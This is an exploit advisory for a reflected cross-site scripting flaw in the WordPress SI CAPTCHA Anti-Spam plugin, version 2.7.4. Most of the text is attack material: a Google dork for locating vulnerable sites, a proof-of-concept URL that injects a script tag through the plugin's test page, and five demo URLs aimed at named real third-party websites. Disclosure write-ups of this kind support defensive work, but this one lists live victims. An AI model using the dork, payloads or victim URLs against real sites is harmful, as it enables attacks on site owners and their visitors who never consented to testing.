WordPress SI CAPTCHA anti-spam plugin suffers from a cross site scripting vulnerability. Note that this finding houses site-specific data.
496ce86c42c0989ac8f5097875beb5aef7f0b190c0d28fb474cf96b7c16b50b3
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| [*] Exploit Title: Wordpress SI CAPTCHA Anti-Spam Plugin Cross
site scripting
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| [*] Exploit Author: Ashiyane Digital Security Team
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| [*] Date : Date: 2014-08-02
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| [*] Vendor Homepage : http://wordpress.org
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| [*] Software Link : http://wordpress.org/plugins/si-captcha-for-wordpress/
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| [*] Version : 2.7.4
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| [*] Google Dork:
inurl:/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage
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| [*] Tested on: Windows , Mozilla Firefox
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| [*] Kind: XSS Reflected
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| [*] PoC :
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| [*]
[Localhost]/wordpress/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
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| [*] Demo:
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| [*]
http://www.aroundthewoorld.fr/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
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http://www.thebeehive.ie/wordpress/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test//index.php/"/><script>alert(1);</script>
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http://www.ioanam.ecosapiens.ro/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
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http://www.mauroguiselini.com.br/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
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http://www.plataformaenergetica.com/suryayoga/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>
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| [*] Discovered By : ACC3SS
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